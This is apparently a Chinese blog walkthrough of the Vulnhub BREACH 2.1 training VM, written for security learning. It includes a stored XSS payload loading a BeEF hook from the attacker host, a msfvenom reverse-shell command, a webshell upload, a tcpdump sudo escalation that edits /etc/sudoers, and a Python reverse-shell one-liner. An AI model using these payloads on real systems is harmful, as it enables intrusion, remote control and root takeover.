• Vulnhub-靶机-BREACH: 2.1


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/breach-21,159/

    根据提示vulnhub官网提示,此靶机是固定IP地址,IP地址为:192.168.110.151

    使用nmap进行扫描

    nmap -n -Pn -sS -p- -sV 192.168.110.151 -v --open --script "http-title or default" -oA 192.168.110.151_$(date "+%Y-%m-%d")

    看到开放了ssh端口65535,使用ssh连接看看

    随便试试几个默认口令或者跟用户名一样的密码,没有成功,但是看到提示Peter的密码是inthesource,使用ssh连接之后再次检查目标靶机会有个blog可以访问

    此时再次扫描目标靶机

    发现开放了80端口,也就是上面提示的那个blog,我们使用dirb首先跑一下

    发现了一个blog的目录,访问一下

    看到有个搜索框,丢个单引号过去试试看看

    凭经验应该是存在sql注入的,那么我们使用sqlmap跑一下

    sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dbs

    最终是确认跑出来了admin的密码

    丢到cmd5上查了下得到了密码

    admin/32admin 这个先放着,我们先看看这个目标靶机是否存在nday,丢到Google上看看

    得到如下对于的exp

    这里为了利用存储下xss,我们直接使用kali环境下的beef攻击框架,详细使用方法:https://blog.csdn.net/whoim_i/article/details/102877616

    在kali上安装好beef框架之后,开启beef 

    然后开始利用目标靶机的漏洞

    根据https://www.exploit-db.com/exploits/17640 的提示,访问目标靶机的注册页面,然后输入<script src="http://192.168.110.128:3000/hook.js"></script> 攻击代码,密码和邮箱字段随便输入提交即可

    提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞,此时便会在beef框架上看被控制端,具体过程如下:

    再根据Redirect Browse配合metasploit拿个反弹shell

    得到http://192.168.110.128:8080/shell 将这个shell环境丢到beef框架下的Redirect Browse执行

    成功拿到shell

    cat /etc/ssh/sshd_config

    发现之所以登录peter被踢出来是因为执行了startme,那么我们丢一个执行shell的文件到.bashrc里面,让peter这个用户在登录成功之后执行shell进行可交互的shell命令行

    执行echo "exec sh" > .bashrc

    再次登录目标靶机使用peter这个用户

    通过cat /etc/passwd 发现还有个用户milton和blumbergh

    再看看网络连接状态

    看到2323这个不常见的端口,我们连接看看

    发现上述地理位置信息,使用map.google.com访问看看

    这个靶机是老外搞的,试试英文的单词休斯顿Houston 将这个地名作为账户milton和blumbergh的密码进行尝试登录看看

    确认使用账户milton的密码是对的,但是登录成功显示上述一些信息之后就断开连接了,显示的信息是有关stapler

    根据关键字搜索

    找到上述路径代码,看下代码内容

    知道了原因就是因为执行这个代码3秒钟内没有回答正确就会被断开连接,所以现在看到了代码知道登录答案,那么我再试一把,答案是mine

    此时已经登录成功,再次查看网络连接状态,发现开放了8888端口

    访问8888端口看看

     使用命令dirb进行目录爆破,发现了目标的后台登录地址

    刚开始使用上面破解出来的账户和密码admin/32admin登录,发现登录失败,于是试试admin/admin居然登录进去了,登录成功找到了文件管理的位置,确认有可利用的位置

    这里能上传文件,那么姿势就非常多了,可以使用kali自带的php-shell,也可以使用msf生成,生成的命令

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f raw -o meterpreter.php

    我这里偷懒直接上传个webshell,名称为shell.php 然后直接访问 http://192.168.110.151:8888/oscommerce/includes/work/shell.php 即可

    看看sudo的权限

    确认可以使用tcpdump进行提权

    执行下面两条命令进行提权

    echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/bmfxtq && chmod +x /tmp/bmfxtq
    sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/bmfxtq -Z root

    上述是执行了提权的命令,看看效果

    发现是已经执行成功,可以直接使用sudo -i命令进行提权,但是由于是webshell,不是tty环境,所以暂时无法切换,那么我们反弹一个shell生成tty环境试试

    这里反弹shell方法很多哈,我就使用其中一种,具体反弹shell脚本如下:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.110.128",8856));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    生成python的交互式shell为了后面生成完美tty-shell做准备

    python -c 'import pty; pty.spawn("/bin/bash")' 

    开始生成完美tty shell,具体操作如下:

    在键盘上按住Ctrl+Z
    此时便退出了当前的反弹shell
    在当前的shell 执行 stty raw -echo
    fg

    使用sudo -i进行提权

    获取flag,并执行

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    #2051:Bitset(进制转化)
    #2054:A == B ?(水题坑人)
    #2045:不容易系列之三LELE的RPG难题(dp递推)
    #2037:今年暑假不AC
    #2036:改革春风吹满地
    OJ中的语言选项里G++ 与 C++的区别
    如何在CSDN上如何快速转载博客
    Python之路(第八篇)Python内置函数、zip()、max()、min()
    Python编程笔记(第一篇)Python基础语法
    Python之路(第七篇)Python作用域、匿名函数、函数式编程、map函数、filter函数、reduce函数
  • 原文地址:https://www.cnblogs.com/autopwn/p/13634310.html
Copyright © 2020-2023  润新知